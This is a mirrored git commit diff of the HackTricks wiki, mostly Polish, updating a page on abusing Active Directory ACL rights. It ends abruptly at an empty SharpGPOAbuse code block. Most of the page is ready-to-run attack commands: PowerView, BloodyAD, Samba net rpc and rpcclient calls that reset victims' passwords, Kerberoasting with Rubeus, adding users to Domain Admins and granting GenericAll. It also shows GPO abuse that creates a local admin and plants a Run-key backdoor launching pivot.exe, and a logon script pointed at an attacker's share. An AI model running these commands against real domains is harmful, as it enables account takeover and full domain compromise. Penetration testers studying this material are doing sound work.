mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/dl
This commit is contained in:
parent
6b78ea21c5
commit
cc3bacec54
@ -238,7 +238,6 @@
|
|||||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
|
||||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
# Wykorzystywanie Active Directory ACLs/ACEs
|
# Nadużywanie Active Directory ACLs/ACEs
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**Ta strona jest głównie podsumowaniem technik z** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **i** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Aby uzyskać więcej szczegółów, sprawdź oryginalne artykuły.**
|
**Ta strona jest w większości podsumowaniem technik z** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **i** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Po więcej szczegółów sprawdź oryginalne artykuły.**
|
||||||
|
|
||||||
## BadSuccessor
|
## BadSuccessor
|
||||||
|
|
||||||
@ -11,24 +11,39 @@
|
|||||||
BadSuccessor.md
|
BadSuccessor.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## **GenericAll prawa na użytkowniku**
|
## **GenericAll Rights on User**
|
||||||
|
|
||||||
To uprawnienie daje atakującemu pełną kontrolę nad docelowym kontem użytkownika. Gdy prawa `GenericAll` są potwierdzone za pomocą polecenia `Get-ObjectAcl`, atakujący może:
|
To uprawnienie daje atakującemu pełną kontrolę nad docelowym kontem użytkownika. Gdy prawa `GenericAll` zostaną potwierdzone za pomocą polecenia `Get-ObjectAcl`, atakujący może:
|
||||||
|
|
||||||
- **Zmień hasło celu**: Przy użyciu `net user <username> <password> /domain` atakujący może zresetować hasło użytkownika.
|
- **Change the Target's Password**: Using `net user <username> <password> /domain`, the attacker can reset the user's password.
|
||||||
- **Targeted Kerberoasting**: Przypisz SPN do konta użytkownika, aby uczynić je kerberoastable, następnie użyj Rubeus i targetedKerberoast.py, aby wyodrębnić i spróbować złamać hashe ticket-granting ticket (TGT).
|
- Na systemie Linux można zrobić to samo przez SAMR za pomocą Samby `net rpc`:
|
||||||
|
```bash
|
||||||
|
# Reset target user's password over SAMR from Linux
|
||||||
|
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||||
|
```
|
||||||
|
- **Jeśli konto jest wyłączone, usuń flagę UAC**: `GenericAll` pozwala na edycję `userAccountControl`. Z systemu Linux, BloodyAD może usunąć flagę `ACCOUNTDISABLE`:
|
||||||
|
```bash
|
||||||
|
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||||
|
```
|
||||||
|
- **Targeted Kerberoasting**: Przypisz SPN do konta użytkownika, aby uczynić je kerberoastable, następnie użyj Rubeus i targetedKerberoast.py, aby wydobyć i spróbować złamać ticket-granting ticket (TGT) hashes.
|
||||||
```bash
|
```bash
|
||||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||||
```
|
```
|
||||||
- **Targeted ASREPRoasting**: Wyłącz pre-authentication dla użytkownika, czyniąc jego konto podatnym na ASREPRoasting.
|
- **Targeted ASREPRoasting**: Wyłącz pre-authentication dla użytkownika, przez co jego konto stanie się podatne na ASREPRoasting.
|
||||||
```bash
|
```bash
|
||||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||||
```
|
```
|
||||||
## **GenericAll — prawa do grupy**
|
- **Shadow Credentials / Key Credential Link**: Z `GenericAll` nad użytkownikiem możesz dodać poświadczenie oparte na certyfikacie i uwierzytelnić się jako ten użytkownik bez zmiany jego hasła. Zobacz:
|
||||||
|
|
||||||
To uprawnienie pozwala atakującemu manipulować członkostwem w grupie, jeśli ma on prawa `GenericAll` do grupy takiej jak `Domain Admins`. Po zidentyfikowaniu nazwy rozróżniającej grupy (distinguished name) przy użyciu `Get-NetGroup`, atakujący może:
|
{{#ref}}
|
||||||
|
shadow-credentials.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## **Uprawnienia GenericAll dla grupy**
|
||||||
|
|
||||||
|
To uprawnienie pozwala atakującemu manipulować członkostwem w grupie, jeśli ma prawa `GenericAll` do grupy takiej jak `Domain Admins`. Po ustaleniu nazwy rozróżnialnej (distinguished name) grupy za pomocą `Get-NetGroup`, atakujący może:
|
||||||
|
|
||||||
- **Dodać siebie do grupy Domain Admins**: Można to zrobić za pomocą bezpośrednich poleceń lub używając modułów takich jak Active Directory lub PowerSploit.
|
- **Dodać siebie do grupy Domain Admins**: Można to zrobić za pomocą bezpośrednich poleceń lub używając modułów takich jak Active Directory lub PowerSploit.
|
||||||
```bash
|
```bash
|
||||||
@ -36,7 +51,7 @@ net group "domain admins" spotless /add /domain
|
|||||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||||
```
|
```
|
||||||
- Z Linuxa możesz także wykorzystać BloodyAD, aby dodać siebie do dowolnych grup, gdy posiadasz nad nimi członkostwo GenericAll/Write. Jeśli grupa docelowa jest zagnieżdżona w “Remote Management Users”, natychmiast uzyskasz dostęp WinRM na hostach respektujących tę grupę:
|
Z Linuxa możesz także użyć BloodyAD, aby dodać się do dowolnych grup, jeśli masz nad nimi uprawnienie GenericAll/Write. Jeśli docelowa grupa jest zagnieżdżona w „Remote Management Users”, natychmiast uzyskasz dostęp WinRM na hostach respektujących tę grupę:
|
||||||
```bash
|
```bash
|
||||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||||
@ -49,32 +64,32 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
|||||||
Posiadanie tych uprawnień na obiekcie komputera lub koncie użytkownika umożliwia:
|
Posiadanie tych uprawnień na obiekcie komputera lub koncie użytkownika umożliwia:
|
||||||
|
|
||||||
- **Kerberos Resource-based Constrained Delegation**: Umożliwia przejęcie obiektu komputera.
|
- **Kerberos Resource-based Constrained Delegation**: Umożliwia przejęcie obiektu komputera.
|
||||||
- **Shadow Credentials**: Wykorzystaj tę technikę, aby podszyć się pod obiekt komputera lub konto użytkownika, wykorzystując uprawnienia do utworzenia shadow credentials.
|
- **Shadow Credentials**: Użyj tej techniki, aby podszyć się pod konto komputera lub użytkownika poprzez wykorzystanie uprawnień do tworzenia shadow credentials.
|
||||||
|
|
||||||
## **WriteProperty on Group**
|
## **WriteProperty on Group**
|
||||||
|
|
||||||
Jeśli użytkownik ma `WriteProperty` rights on all objects for a specific group (e.g., `Domain Admins`), może:
|
Jeśli użytkownik ma `WriteProperty` prawa na wszystkie obiekty dla konkretnej grupy (np. `Domain Admins`), może:
|
||||||
|
|
||||||
- **Add Themselves to the Domain Admins Group**: Osiągalne przez połączenie poleceń `net user` i `Add-NetGroupUser`, ta metoda umożliwia eskalację uprawnień w domenie.
|
- **Add Themselves to the Domain Admins Group**: Osiągalne przez połączenie poleceń `net user` i `Add-NetGroupUser`; ta metoda umożliwia eskalację uprawnień w domenie.
|
||||||
```bash
|
```bash
|
||||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||||
```
|
```
|
||||||
## **Self (Self-Membership) on Group**
|
## **Self (Self-Membership) on Group**
|
||||||
|
|
||||||
Ten przywilej umożliwia atakującym dodanie siebie do określonych grup, takich jak `Domain Admins`, za pomocą poleceń, które bezpośrednio modyfikują członkostwo w grupie. Użycie następującej sekwencji poleceń pozwala na samododanie:
|
Ten przywilej umożliwia atakującym dodanie siebie do określonych grup, takich jak `Domain Admins`, przy użyciu poleceń, które bezpośrednio modyfikują członkostwo w grupie. Użycie następującej sekwencji poleceń umożliwia dodanie samego siebie:
|
||||||
```bash
|
```bash
|
||||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||||
```
|
```
|
||||||
## **WriteProperty (Self-Membership)**
|
## **WriteProperty (Self-Membership)**
|
||||||
|
|
||||||
Podobne uprawnienie — pozwala atakującym bezpośrednio dodać siebie do grup przez modyfikację właściwości grup, jeśli mają prawo `WriteProperty` na tych grupach. Potwierdzenie i wykonanie tego uprawnienia odbywa się za pomocą:
|
Podobne uprawnienie — pozwala atakującym bezpośrednio dodać siebie do grup przez modyfikację właściwości grup, jeśli mają prawo `WriteProperty` do tych grup. Potwierdzenie i wykonanie tego uprawnienia odbywa się za pomocą:
|
||||||
```bash
|
```bash
|
||||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||||
net group "domain admins" spotless /add /domain
|
net group "domain admins" spotless /add /domain
|
||||||
```
|
```
|
||||||
## **ForceChangePassword**
|
## **ForceChangePassword**
|
||||||
|
|
||||||
Posiadanie `ExtendedRight` na użytkowniku dla `User-Force-Change-Password` pozwala na reset hasła bez znajomości bieżącego hasła. Weryfikację tego prawa i jego wykorzystanie można przeprowadzić za pomocą PowerShell lub alternatywnych narzędzi w wierszu poleceń, które oferują kilka metod resetowania hasła użytkownika, w tym sesje interaktywne oraz one-liners dla środowisk nieinteraktywnych. Polecenia obejmują proste wywołania PowerShell aż po użycie `rpcclient` na Linuxie, demonstrując wszechstronność attack vectors.
|
Posiadanie `ExtendedRight` nad użytkownikiem `User-Force-Change-Password` umożliwia resetowanie haseł bez znajomości bieżącego hasła. Weryfikacja tego prawa i jego wykorzystanie mogą być przeprowadzane za pomocą PowerShell lub alternatywnych narzędzi wiersza poleceń, oferując kilka metod resetowania hasła użytkownika, w tym sesje interaktywne oraz one-liners dla środowisk nieinteraktywnych. Komendy obejmują proste wywołania PowerShell aż po użycie `rpcclient` na Linuxie, co demonstruje wszechstronność wektorów ataku.
|
||||||
```bash
|
```bash
|
||||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||||
Set-DomainUserPassword -Identity delegate -Verbose
|
Set-DomainUserPassword -Identity delegate -Verbose
|
||||||
@ -85,9 +100,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
|||||||
rpcclient -U KnownUsername 10.10.10.192
|
rpcclient -U KnownUsername 10.10.10.192
|
||||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||||
```
|
```
|
||||||
## **WriteOwner on Group**
|
## **WriteOwner w grupie**
|
||||||
|
|
||||||
Jeśli atakujący stwierdzi, że ma prawa `WriteOwner` do grupy, może zmienić właściciela grupy na siebie. Ma to szczególne znaczenie, gdy grupa to `Domain Admins`, ponieważ zmiana właściciela umożliwia szerszą kontrolę nad atrybutami grupy i członkostwem. Proces polega na zidentyfikowaniu właściwego obiektu za pomocą `Get-ObjectAcl`, a następnie użyciu `Set-DomainObjectOwner` do zmodyfikowania właściciela, albo przez SID, albo przez nazwę.
|
Jeśli atakujący odkryje, że ma prawa `WriteOwner` do grupy, może zmienić właściciela grupy na siebie. Ma to szczególne znaczenie, gdy dotyczy grupy `Domain Admins`, ponieważ zmiana właściciela pozwala na szerszą kontrolę nad atrybutami grupy i członkostwem. Proces polega na zidentyfikowaniu odpowiedniego obiektu za pomocą `Get-ObjectAcl`, a następnie użyciu `Set-DomainObjectOwner` do zmodyfikowania właściciela, albo przez SID, albo przez nazwę.
|
||||||
```bash
|
```bash
|
||||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||||
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
|||||||
```
|
```
|
||||||
## **GenericWrite on User**
|
## **GenericWrite on User**
|
||||||
|
|
||||||
To uprawnienie pozwala atakującemu modyfikować właściwości użytkownika. Konkretnie, mając dostęp `GenericWrite`, atakujący może zmienić ścieżkę skryptu logowania użytkownika, aby przy logowaniu uruchomić złośliwy skrypt. Osiąga się to za pomocą polecenia `Set-ADObject`, aby zaktualizować właściwość `scriptpath` docelowego użytkownika tak, aby wskazywała na skrypt atakującego.
|
To uprawnienie pozwala atakującemu modyfikować właściwości użytkownika. W szczególności, mając dostęp `GenericWrite`, atakujący może zmienić logon script path użytkownika, aby uruchomić złośliwy skrypt podczas logowania użytkownika. Osiąga się to przez użycie polecenia `Set-ADObject` w celu zaktualizowania właściwości `scriptpath` docelowego użytkownika, aby wskazywała na skrypt atakującego.
|
||||||
```bash
|
```bash
|
||||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||||
```
|
```
|
||||||
## **GenericWrite on Group
|
## **GenericWrite on Group**
|
||||||
|
|
||||||
Dzięki temu uprawnieniu atakujący mogą manipulować członkostwem w grupie, np. dodając siebie lub innych użytkowników do określonych grup. Proces obejmuje utworzenie obiektu poświadczeń, użycie go do dodawania lub usuwania użytkowników z grupy oraz weryfikację zmian członkostwa za pomocą poleceń PowerShell.
|
Dzięki temu uprawnieniu atakujący mogą manipulować członkostwem w grupie, na przykład dodając siebie lub innych użytkowników do określonych grup. Proces ten obejmuje utworzenie obiektu poświadczeń, użycie go do dodawania lub usuwania użytkowników z grupy oraz weryfikację zmian członkostwa za pomocą poleceń PowerShell.
|
||||||
```bash
|
```bash
|
||||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
|||||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||||
```
|
```
|
||||||
|
- Z Linuksa, Samba `net` może dodawać/usuwać członków, gdy posiadasz `GenericWrite` dla grupy (przydatne, gdy PowerShell/RSAT są niedostępne):
|
||||||
|
```bash
|
||||||
|
# Add yourself to the target group via SAMR
|
||||||
|
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||||
|
# Verify current members
|
||||||
|
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||||
|
```
|
||||||
## **WriteDACL + WriteOwner**
|
## **WriteDACL + WriteOwner**
|
||||||
|
|
||||||
Posiadanie obiektu AD oraz uprawnień `WriteDACL` do niego umożliwia atakującemu przyznanie sobie uprawnień `GenericAll` do tego obiektu. Jest to osiągane poprzez manipulację ADSI, co pozwala na pełną kontrolę nad obiektem i możliwość modyfikowania jego członkostw w grupach. Mimo to istnieją ograniczenia przy próbach wykorzystania tych uprawnień za pomocą cmdletów modułu Active Directory `Set-Acl` / `Get-Acl`.
|
Posiadanie obiektu AD oraz uprawnień `WriteDACL` na nim pozwala atakującemu nadać sobie uprawnienia `GenericAll` do tego obiektu. Osiąga się to przez manipulację ADSI, co umożliwia pełną kontrolę nad obiektem i możliwość modyfikowania jego członkostw w grupach. Mimo to istnieją ograniczenia przy próbie wykorzystania tych uprawnień przy użyciu cmdletów `Set-Acl` / `Get-Acl` modułu Active Directory.
|
||||||
```bash
|
```bash
|
||||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||||
@ -119,66 +141,140 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
|||||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||||
$ADSI.psbase.commitchanges()
|
$ADSI.psbase.commitchanges()
|
||||||
```
|
```
|
||||||
|
### WriteDACL/WriteOwner szybkie przejęcie (PowerView)
|
||||||
|
|
||||||
|
Kiedy masz `WriteOwner` i `WriteDacl` nad kontem użytkownika lub kontem serwisowym, możesz przejąć pełną kontrolę i zresetować jego hasło przy użyciu PowerView bez znajomości starego hasła:
|
||||||
|
```powershell
|
||||||
|
# Load PowerView
|
||||||
|
. .\PowerView.ps1
|
||||||
|
|
||||||
|
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||||
|
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||||
|
|
||||||
|
# Set a new password for the target principal
|
||||||
|
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||||
|
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||||
|
```
|
||||||
|
Uwaga:
|
||||||
|
- Może być konieczne najpierw zmienić właściciela na siebie, jeśli masz tylko `WriteOwner`:
|
||||||
|
```powershell
|
||||||
|
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||||
|
```
|
||||||
|
- Zweryfikuj dostęp przy użyciu dowolnego protokołu (SMB/LDAP/RDP/WinRM) po zresetowaniu hasła.
|
||||||
|
|
||||||
## **Replikacja w domenie (DCSync)**
|
## **Replikacja w domenie (DCSync)**
|
||||||
|
|
||||||
Atak DCSync wykorzystuje konkretne uprawnienia replikacji w domenie, aby naśladować Domain Controller i synchronizować dane, w tym poświadczenia użytkowników. Ta potężna technika wymaga uprawnień takich jak `DS-Replication-Get-Changes`, co pozwala atakującemu wyciągnąć wrażliwe informacje ze środowiska AD bez bezpośredniego dostępu do kontrolera domeny. [**Dowiedz się więcej o ataku DCSync tutaj.**](../dcsync.md)
|
Atak DCSync wykorzystuje specyficzne uprawnienia replikacyjne w domenie, aby imitować Domain Controller i synchronizować dane, w tym poświadczenia użytkowników. Ta potężna technika wymaga uprawnień takich jak `DS-Replication-Get-Changes`, co pozwala atakującym wyodrębniać wrażliwe informacje z środowiska AD bez bezpośredniego dostępu do Domain Controller. [**Dowiedz się więcej o ataku DCSync tutaj.**](../dcsync.md)
|
||||||
|
|
||||||
## Delegacja GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
|
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||||
|
|
||||||
### Delegacja GPO
|
### Delegowanie GPO
|
||||||
|
|
||||||
Delegowany dostęp do zarządzania Group Policy Objects (GPO) może stwarzać poważne ryzyko bezpieczeństwa. Na przykład, jeśli użytkownik taki jak `offense\spotless` otrzyma prawa do zarządzania GPO, może mieć uprawnienia takie jak **WriteProperty**, **WriteDacl** i **WriteOwner**. Uprawnienia te mogą być nadużyte w celach złośliwych — można je wykryć za pomocą PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
Zdelegowany dostęp do zarządzania Group Policy Objects (GPOs) może stanowić poważne ryzyko bezpieczeństwa. Na przykład, jeśli użytkownik taki jak `offense\spotless` ma delegowane prawa do zarządzania GPO, może posiadać uprawnienia takie jak **WriteProperty**, **WriteDacl** oraz **WriteOwner**. Te uprawnienia mogą zostać wykorzystane w złośliwy sposób, co można wykryć przy użyciu PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||||
|
|
||||||
### Wyliczanie uprawnień GPO
|
### Wyliczanie uprawnień GPO
|
||||||
|
|
||||||
Aby zidentyfikować nieprawidłowo skonfigurowane GPO, można łączyć cmdlet-y z PowerSploit. Pozwala to odkryć GPO, którymi konkretny użytkownik może zarządzać: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
Aby zidentyfikować źle skonfigurowane GPO, można łączyć cmdlety z PowerSploit. Pozwala to odkryć GPO, do których konkretny użytkownik ma uprawnienia zarządzania: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||||
|
|
||||||
**Komputery objęte daną polityką**: Można ustalić, do których komputerów dana GPO jest zastosowana, co pomaga zrozumieć zakres potencjalnego wpływu. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
**Komputery, na których zastosowano daną politykę**: Możliwe jest ustalenie, na których komputerach dana GPO jest stosowana, co pomaga zrozumieć zakres potencjalnego wpływu. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||||
|
|
||||||
**Polityki zastosowane na danym komputerze**: Aby zobaczyć, jakie polityki są zastosowane na konkretnym komputerze, można użyć poleceń takich jak `Get-DomainGPO`.
|
**Polityki zastosowane do danego komputera**: Aby zobaczyć, jakie polityki są zastosowane do konkretnego komputera, można użyć poleceń takich jak `Get-DomainGPO`.
|
||||||
|
|
||||||
**Jednostki organizacyjne (OU) objęte daną polityką**: Identyfikację OU, na które wpływa dana polityka, można przeprowadzić za pomocą `Get-DomainOU`.
|
**OUs objęte daną polityką**: Identyfikację jednostek organizacyjnych (OUs) objętych daną polityką można przeprowadzić przy użyciu `Get-DomainOU`.
|
||||||
|
|
||||||
Można też użyć narzędzia [**GPOHound**](https://github.com/cogiceo/GPOHound) do enumeracji GPO i wykrywania problemów w nich.
|
Możesz również użyć narzędzia [**GPOHound**](https://github.com/cogiceo/GPOHound) do enumeracji GPO i wyszukiwania w nich problemów.
|
||||||
|
|
||||||
### Abuse GPO - New-GPOImmediateTask
|
### Nadużycie GPO - New-GPOImmediateTask
|
||||||
|
|
||||||
Nieprawidłowo skonfigurowane GPO można wykorzystać do wykonania kodu, na przykład przez utworzenie natychmiastowego zadania zaplanowanego. Można to wykorzystać do dodania użytkownika do lokalnej grupy administratorów na zaatakowanych maszynach, co znacząco podnosi uprawnienia:
|
Nieprawidłowo skonfigurowane GPO mogą zostać wykorzystane do uruchamiania kodu, na przykład przez utworzenie natychmiastowego zadania zaplanowanego. Można to zrobić, aby dodać użytkownika do lokalnej grupy administrators na dotkniętych maszynach, co znacząco podnosi uprawnienia:
|
||||||
```bash
|
```bash
|
||||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||||
```
|
```
|
||||||
### GroupPolicy module - Abuse GPO
|
### GroupPolicy module - Abuse GPO
|
||||||
|
|
||||||
GroupPolicy module, jeśli jest zainstalowany, pozwala na tworzenie i łączenie nowych GPOs oraz ustawianie preferencji, takich jak wartości rejestru, które uruchomią backdoors na dotkniętych komputerach. Ta metoda wymaga zaktualizowania GPO i zalogowania się użytkownika do komputera, aby doszło do wykonania:
|
Moduł GroupPolicy, jeśli jest zainstalowany, umożliwia tworzenie i łączenie nowych GPO oraz ustawianie preferencji, takich jak wartości rejestru, aby uruchamiać backdoors na zaatakowanych komputerach. Metoda ta wymaga zaktualizowania GPO i zalogowania się użytkownika na komputerze, aby doszło do wykonania:
|
||||||
```bash
|
```bash
|
||||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||||
```
|
```
|
||||||
### SharpGPOAbuse - Abuse GPO
|
### SharpGPOAbuse - Abuse GPO
|
||||||
|
|
||||||
SharpGPOAbuse oferuje metodę nadużycia istniejących GPO poprzez dodawanie zadań lub modyfikowanie ustawień bez konieczności tworzenia nowych GPO. To narzędzie wymaga modyfikacji istniejących GPO lub użycia narzędzi RSAT do utworzenia nowych przed zastosowaniem zmian:
|
SharpGPOAbuse oferuje metodę nadużywania istniejących GPO poprzez dodawanie zadań lub modyfikowanie ustawień bez potrzeby tworzenia nowych GPO. To narzędzie wymaga modyfikacji istniejących GPO lub użycia narzędzi RSAT do utworzenia nowych przed zastosowaniem zmian:
|
||||||
```bash
|
```bash
|
||||||
